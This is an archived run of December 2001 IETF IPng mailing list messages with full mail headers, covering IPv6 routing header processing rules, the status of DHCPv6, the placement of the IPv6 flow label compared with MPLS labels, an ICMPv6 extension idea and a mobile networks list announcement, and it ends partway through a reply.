ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-Reply-To: <3C1A8998.A7B1C60E@zk3.dec.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Fri, 14 Dec 2001, Vladislav Yasevich wrote: > RFC 2460 states the following: > > > router - a node that forwards IPv6 packets not explicitly > > addressed to itself. [See Note below]. > > and the conseptual sending algorithm is this: > > else { > > swap the IPv6 Destination Address and Address[i] > > > > if the IPv6 Hop Limit is less than or equal to 1 { > > send an ICMP Time Exceeded -- Hop Limit Exceeded in > > Transit message to the Source Address and discard the > > packet > > } > > else { > > decrement the Hop Limit by 1 > > > > resubmit the packet to the IPv6 module for transmission > > to the new destination > > } > > One could argue that after the source routed packet is processed and > resubmitted for transmision, it's is no longer addressed to the node > processing it (the source is the original source and the destination > is the next hop). Thus, the node in effect is forwarding this packet. > "Forwarding" is a function of router thus, in my mind the node has to > be configured as router and has to obey all the router rules. This is a very good argument which I haven't seen presented yet. The text might be clearer on this. Thanks. I think I'll reflect this in my draft, list the issues currently there with a note and describe a new scenario or two where this is not strict enough. > > Nonetheless, discussion in 2.5.1. and security considerations apply. > > IMO, "same-node" does not seem to be a strict enough requirement, if one > > assumes this kind of routing header processing would have to be enabled on > > *every* host. > > I beleave that's what 2460 assumes. This is worse than with IPv4 (there, hosts should basically disable routing header even though local by default). (note that RFC1122 3.3.5 uses a different interpretation of 'local'). > > Addrarch requires that these packets to loopback, site/linklocal are > > dropped at input. However, I'm curious whether all implementations > > process the packets received through this mechanism via the same input > > functions as regular packets would have been -- that is, has someone > > created "shortcuts" here.. > > This would be a bug in the implementation and the implementation needs > to be fixed. It doesn't make sence to impose restriction on a well > behaving implementation. Well, the problem is -- how can we know if some implementation does this or not? The description of behaviour (example: source routes outside of node, above) are sometimes a bit fuzzy. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 16 02:43:07 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBGAh7Fp008378 for ; Sun, 16 Dec 2001 02:43:07 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBGAh6EK008377 for ipng-dist; Sun, 16 Dec 2001 02:43:06 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBGAh3Fp008370 for ; Sun, 16 Dec 2001 02:43:03 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA29228 for ; Sun, 16 Dec 2001 02:43:05 -0800 (PST) Received: from ardbeg.meer.net (ardbeg.meer.net [209.157.152.23]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA29498 for ; Sun, 16 Dec 2001 02:43:05 -0800 (PST) Received: from meer.meer.net (mail.meer.net [209.157.152.14]) by ardbeg.meer.net (8.11.3/8.11.3) with ESMTP id fBGAh1D42439 for ; Sun, 16 Dec 2001 02:43:01 -0800 (PST) Received: from neville-neil.com ([209.157.133.226]) by meer.meer.net (8.9.3/8.9.3/meer) with ESMTP id CAA1546871 for ; Sun, 16 Dec 2001 02:42:09 -0800 (PST) Message-Id: <200112161042.CAA1546871@meer.meer.net> X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: ipng@sunroof.eng.sun.com Subject: Status of DHCPv6? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 16 Dec 2001 02:42:09 -0800 From: "George V. Neville-Neil" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Folks, Just a quick question. What is the status of DHCPv6? I see that it is currently a draft (21), is it scheduled to become an RFC any time soon? Thanks, George -- George V. Neville-Neil gnn@neville-neil.com NIC:GN82 "Those who would trade liberty for temporary security deserve neither" - Benjamin Franklin -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 16 17:30:43 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBH1UgFp008841 for ; Sun, 16 Dec 2001 17:30:42 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBH1UgJm008840 for ipng-dist; Sun, 16 Dec 2001 17:30:42 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBH1UcFp008833 for ; Sun, 16 Dec 2001 17:30:39 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA19610 for ; Sun, 16 Dec 2001 17:30:41 -0800 (PST) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA24608 for ; Sun, 16 Dec 2001 17:30:41 -0800 (PST) Received: from kenawang ([192.168.1.71]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id RAA06847 for ; Sun, 16 Dec 2001 17:29:44 -0800 (PST) Message-Id: <4.2.2.20011216201939.0202aeb0@mail.windriver.com> X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Sun, 16 Dec 2001 20:29:39 -0500 To: ipng@sunroof.eng.sun.com From: Margaret Wasserman Subject: draft-rajahalme-ipv6-flow-label-00.txt Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I have a few comments/questions on the general flow label topic. They are not specific to draft-rajahalame-ipv6-flow-label-00.txt, but they do apply to this proposal, as well as others. I've hesitated to raise this issue for fear of being publicly stoned, but... It seems to me that an IPv6-specific location within the IPv6 header may not be the right place for a flow label. I am not an expert in label switching technologies, but the ones that I do know (VLAN, MPLS) put the label after the link layer header and before the IP header (conceptually at layer 2-1/2). This allows the flow label to be located, and used for switching, without the need to process the layer 3 header at all. This allows the same label switching technology to work in current IPv4 and mixed-protocol networks. Since we may not have large IPv6-only networks for some time, a flow label within the IPv6 header seems, to me, fundamentally less useful than a flow label that can be appended before any layer 3 header (IPv4, IPv6, ??). Are there reasons for preferring to put a flow label inside the IPv6 header? Is this being done on the advice of folks who are standardizing label switching technologies? Margaret -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 17 02:22:02 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHAM1Fp009084 for ; Mon, 17 Dec 2001 02:22:02 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBHAM1jM009083 for ipng-dist; Mon, 17 Dec 2001 02:22:01 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHALwFp009076 for ; Mon, 17 Dec 2001 02:21:58 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA19670 for ; Mon, 17 Dec 2001 02:22:00 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA25925 for ; Mon, 17 Dec 2001 02:21:59 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id LAA04506; Mon, 17 Dec 2001 11:21:56 +0100 Received: from dhcp222-13.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA56332 from ; Mon, 17 Dec 2001 11:21:53 +0100 Message-Id: <3C1DC741.EE5BE399@hursley.ibm.com> Date: Mon, 17 Dec 2001 11:21:53 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Margaret Wasserman Cc: ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <4.2.2.20011216201939.0202aeb0@mail.windriver.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Margaret Wasserman wrote: > > I have a few comments/questions on the general flow label topic. > They are not specific to draft-rajahalame-ipv6-flow-label-00.txt, > but they do apply to this proposal, as well as others. > > I've hesitated to raise this issue for fear of being publicly > stoned, but... > > It seems to me that an IPv6-specific location within the IPv6 > header may not be the right place for a flow label. > > I am not an expert in label switching technologies, but the ones > that I do know (VLAN, MPLS) put the label after the link layer > header and before the IP header (conceptually at layer 2-1/2). > This allows the flow label to be located, and used for switching, > without the need to process the layer 3 header at all. This > allows the same label switching technology to work in current > IPv4 and mixed-protocol networks. Exactly. But that is not the kind of flow label that we have in IPv6. It isn't used for or intended for MPLS style label-swapping. It's different. > > Since we may not have large IPv6-only networks for some time, a > flow label within the IPv6 header seems, to me, fundamentally > less useful than a flow label that can be appended before any > layer 3 header (IPv4, IPv6, ??). But it is a different animal entirely; a separate discussion; not an IPv6 discussion. And isn't it exactly what MPLS has already defined? > > Are there reasons for preferring to put a flow label inside the > IPv6 header? Is this being done on the advice of folks who are > standardizing label switching technologies? > No, because it has nothing to do with label switching. It's much more to do with QOS than routing. We know how to use the draft-rajahalme- label for Intserv and Diffserv, but it may well have other QOS usage as well. It's end2end property is vital for that and completely different from the swappable MPLS-type label. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 17 06:25:45 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHEPiFp009479 for ; Mon, 17 Dec 2001 06:25:44 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBHEPieU009478 for ipng-dist; Mon, 17 Dec 2001 06:25:44 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHEPfFp009468 for ; Mon, 17 Dec 2001 06:25:41 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA28218 for ; Mon, 17 Dec 2001 06:25:43 -0800 (PST) From: ipv6@wire.cs.nthu.edu.tw Received: from wire.cs.nthu.edu.tw (wire.cs.nthu.edu.tw [140.114.79.60]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA25411 for ; Mon, 17 Dec 2001 07:26:24 -0700 (MST) Received: (from ipv6@localhost) by wire.cs.nthu.edu.tw (8.11.2/8.11.2) id fBHEQmW03077 for ipng@sunroof.eng.sun.com; Mon, 17 Dec 2001 22:26:48 +0800 Date: Mon, 17 Dec 2001 22:26:48 +0800 To: ipng@sunroof.eng.sun.com Subject: ICMPv6 extend possibility Message-ID: <20011217222648.A3063@wire.cs.nthu.edu.tw> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi, folks, I am newbie to this list. I apologize if my question causes problem to this list. First of all, I understand that IETF has it's own way and pace, so, my idea is just an idea (mean nothing): I recently come up with an idea about extending ICMPv6. I wonder if it is possible to add some new ability to extend ICMPv6 to cope with more congestion control information exchanging. And if possible, add some extensions that can help exchanging information about available bandwidth and do some reservation jobs (yes, my idea is partly overlapping with RSVP). The routing protocol and decision making algorithms are independent of ICMP in this scenario. I know my idea is very stupid, but I want to know what people think here about my idea, so, please don't be hesitate to tell me or all of us your attitude for this (if you are interested in it). 620 -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 17 06:31:04 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHEV4Fp009533 for ; Mon, 17 Dec 2001 06:31:04 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBHEV4Cq009532 for ipng-dist; Mon, 17 Dec 2001 06:31:04 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHEV0Fp009525 for ; Mon, 17 Dec 2001 06:31:00 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA26904 for ; Mon, 17 Dec 2001 06:31:02 -0800 (PST) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA29461 for ; Mon, 17 Dec 2001 06:31:02 -0800 (PST) Received: from kenawang ([192.168.1.71]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id GAA01038; Mon, 17 Dec 2001 06:29:28 -0800 (PST) Message-Id: <4.2.2.20011217091931.0201a430@mail.windriver.com> X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Mon, 17 Dec 2001 09:29:08 -0500 To: Brian E Carpenter From: Margaret Wasserman Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt Cc: ipng@sunroof.eng.sun.com In-Reply-To: <3C1DC741.EE5BE399@hursley.ibm.com> References: <4.2.2.20011216201939.0202aeb0@mail.windriver.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Thanks for the response, Brian. > > Are there reasons for preferring to put a flow label inside the > > IPv6 header? Is this being done on the advice of folks who are > > standardizing label switching technologies? > > >No, because it has nothing to do with label switching. It's much >more to do with QOS than routing. We know how to use the draft-rajahalme- >label for Intserv and Diffserv, but it may well have other QOS >usage as well. It's end2end property is vital for that and completely >different from the swappable MPLS-type label. But, I still don't understand why an IPv6 QoS/diffserv flow label is "completely different" from an MPLS-type label... I do understand that MPLS labels are swapped at each intermediate node, and that IPv6 flow labels will not be. What are the other differences? Will we still use the IPv6 destination address in each packet to determine the next-hop router? Or will routers set-up state regarding the next-hop associated with each flow label? If the former, then I understand the difference. An intermediate router would need to read the IPv6 (or IPv4) header, anyway, in order to forward the packet. The IPv6 flow label would just be some additional information to influence packet queuing or processing. However, if the latter (routers save next-hop state based on flow labels), wouldn't it be better to develop a mechanism that could work with both IPv6 and IPv4, so that routers will not have to behave differently for IPv6 and IPv4 packets? If I seem to be missing an important point or concept, please send some hints or pointers. Thanks, Margaret -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 17 07:10:40 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHFAeFp009580 for ; Mon, 17 Dec 2001 07:10:40 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBHFAeMi009579 for ipng-dist; Mon, 17 Dec 2001 07:10:40 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHFAaFp009572 for ; Mon, 17 Dec 2001 07:10:36 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA03707 for ; Mon, 17 Dec 2001 07:10:13 -0800 (PST) Received: from motgate4.mot.com (motgate4.mot.com [144.189.100.102]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA14264 for ; Mon, 17 Dec 2001 08:10:56 -0700 (MST) Received: [from pobox4.mot.com (pobox4.mot.com [10.64.251.243]) by motgate4.mot.com (motgate4 2.1) with ESMTP id IAA13495 for ; Mon, 17 Dec 2001 08:10:09 -0700 (MST)] Received: [from m-il06-r3.mot.com (m-il06-r3.mot.com [129.188.137.194]) by pobox4.mot.com (MOT-pobox4 2.0) with ESMTP id IAA07945 for ; Mon, 17 Dec 2001 08:10:08 -0700 (MST)] Received: from thorgal.crm.mot.com by m-il06-r3.mot.com with ESMTP; Mon, 17 Dec 2001 09:09:59 -0600 Received: from test9.crm.mot.com.crm.mot.com (test9.crm.mot.com [140.101.173.239]) by thorgal.crm.mot.com (Postfix) with ESMTP id 5A2812EC83; Mon, 17 Dec 2001 16:08:40 +0100 (CET) To: manet@itd.nrl.navy.mil, seamoby@ietf.org, ipng@sunroof.eng.sun.com, irtf-rr@puck.nether.net Subject: Announce: Mobile Networks monet mailing list From: Alexandru Petrescu Date: 17 Dec 2001 15:07:00 +0100 Message-Id: Lines: 80 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk [Please apologize cross-posting] Hi, At the end of the bar bof on Mobile Networks at Salt Lake it was suggested to re-send the information on how to join the monet mailing list. In order to join, please send mail to monet-request@crm.mot.com with subscribe in the body. An archive file is kept locally but not yet available publicly. I can send it personally. Thank you, Alex PS: here's the original announcement sent earlier on Mobile IP list Dear colleagues, I would like to announce the monet (mobile network) mailing list for future discussion of the mobile networks subject. Until the last IETF meeting, Thierry Ernst has submitted several times I-Ds and made presentations on the subject. At IETF-51, I was encouraged by the mobileip WG co-chair Phil Roberts to set up a separate mailing list to further discuss the subject. Since then, there has been some discussions online and offline, to the extent that a BOF may be on its way to address the subject. Having sensed the need to have a proper forum of discussion on mobile network, the Monet mailing list is created, so that we could discuss and share: - work out the problem scope/statement - define terminology - technical discussions - define the solution requirements - plan the necessary activities - how to address the subject in IETF (creation of a BOF?) - etc To start with, I would like to put forward the following 2 I-Ds: - draft-ernst-mobileip-v6-network-02.txt - draft-ernst-mobileip-monetv6-00.txt In particular I would like to solicit comments on draft-ernst-mobileip-monetv6-00.txt about the problem scope and solution requirements. After London IETF a long discussion took place on the mobileip list with respect to mobile networks and routers: terminology for "router" and "mobile router", MR and router adjacency, interactions of mobile networks with routing protocols, multiple Care-of-Addresses, mobile routers as NAT's, tunnelling and routing headers, security aspects, mobile networks as PANs and many other subjects. Several solutions could be designed as a result of those discussions. Besides, I would also like to gather your ideas and comments on the creation of a monet BOF. I am looking forward to your participation in the monet mailing list discussion. Subscribe to the monet mailing list by sending mail to monet-request@crm.mot.com with the word "subscribe" (without the quotes) in the body. You need to subscribe to the list in order to send to the list. You can post to the list by sending mail to monet@crm.mot.com. Unsubscribe by sending mail to monet-request@crm.mot.com with the two words "unsubscribe monet" (again without the quotes) in the body. Cheers, Hong-Yon Lach Alexandru Petrescu Christophe Janneteau John Boot -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 17 07:40:23 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHFeNFp009607 for ; Mon, 17 Dec 2001 07:40:23 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBHFeNka009606 for ipng-dist; Mon, 17 Dec 2001 07:40:23 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHFeKFp009599 for ; Mon, 17 Dec 2001 07:40:20 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA20527 for ; Mon, 17 Dec 2001 07:40:21 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA29718 for ; Mon, 17 Dec 2001 07:40:20 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id QAA14586; Mon, 17 Dec 2001 16:40:18 +0100 Received: from dhcp222-13.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA23564 from ; Mon, 17 Dec 2001 16:40:17 +0100 Message-Id: <3C1E11E1.102956C6@hursley.ibm.com> Date: Mon, 17 Dec 2001 16:40:17 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Margaret Wasserman Cc: ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <4.2.2.20011216201939.0202aeb0@mail.windriver.com> <4.2.2.20011217091931.0201a430@mail.windriver.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Margaret Wasserman wrote: > > Thanks for the response, Brian. > > > > Are there reasons for preferring to put a flow label inside the > > > IPv6 header? Is this being done on the advice of folks who are > > > standardizing label switching technologies? > > > > >No, because it has nothing to do with label switching. It's much > >more to do with QOS than routing. We know how to use the draft-rajahalme- > >label for Intserv and Diffserv, but it may well have other QOS > >usage as well. It's end2end property is vital for that and completely > >different from the swappable MPLS-type label. > > But, I still don't understand why an IPv6 QoS/diffserv flow label > is "completely different" from an MPLS-type label... > > I do understand that MPLS labels are swapped at each intermediate > node, and that IPv6 flow labels will not be. What are the other > differences? > > Will we still use the IPv6 destination address in each packet to > determine the next-hop router? Or will routers set-up state > regarding the next-hop associated with each flow label? The "pure" answer is that only the address will be used, i.e. the address is necessary & sufficient. But QoS-aware routing can do whatever it wants; it can look at any non-encrypted field it chooses. I would expect to see QoS-aware routing using the DSCP which is only 6 bits and defined identically for IPv6 and IPv4, rather than using the 20 bit flow label. However, if you want a multiprotocol solution to this, we have one already that does what you describe, and it's called MPLS. > > If the former, then I understand the difference. An intermediate > router would need to read the IPv6 (or IPv4) header, anyway, in > order to forward the packet. The IPv6 flow label would just be > some additional information to influence packet queuing or > processing. Exactly; that's the "pure" architecture. > > However, if the latter (routers save next-hop state based on flow > labels), wouldn't it be better to develop a mechanism that could > work with both IPv6 and IPv4, so that routers will not have to > behave differently for IPv6 and IPv4 packets? Yes, hence MPLS. The one gap in MPLS is that the "QoS" bits are technically "experimental" bits - but the diffserv-to-MPLS mapping makes it pretty clear how to use them for QoS. > > If I seem to be missing an important point or concept, please send > some hints or pointers. I don't think you are. One intent of draft-rahalme- is to clarify that the IPv6 flow label is *not* a routing label. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 17 08:21:37 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHGLaFp009639 for ; Mon, 17 Dec 2001 08:21:36 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBHGLaRh009638 for ipng-dist; Mon, 17 Dec 2001 08:21:36 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHGLXFp009631 for ; Mon, 17 Dec 2001 08:21:33 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA27915 for ; Mon, 17 Dec 2001 08:21:35 -0800 (PST) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA17728 for ; Mon, 17 Dec 2001 09:22:18 -0700 (MST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fBHGLSp13077; Mon, 17 Dec 2001 08:21:28 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAN46099; Mon, 17 Dec 2001 08:20:53 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id IAA05500; Mon, 17 Dec 2001 08:21:27 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15390.7046.939861.503804@thomasm-u1.cisco.com> Date: Mon, 17 Dec 2001 08:21:26 -0800 (PST) To: Margaret Wasserman Cc: Brian E Carpenter , ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-Reply-To: <4.2.2.20011217091931.0201a430@mail.windriver.com> References: <4.2.2.20011216201939.0202aeb0@mail.windriver.com> <4.2.2.20011217091931.0201a430@mail.windriver.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Margaret Wasserman writes: > If I seem to be missing an important point or concept, please send > some hints or pointers. Margaret, I don't think you're alone wondering what all the fuss is about with the flow label since it's fairly obvious that normal Intserv classifiers function equivalently. However, there's two fairly important things that the 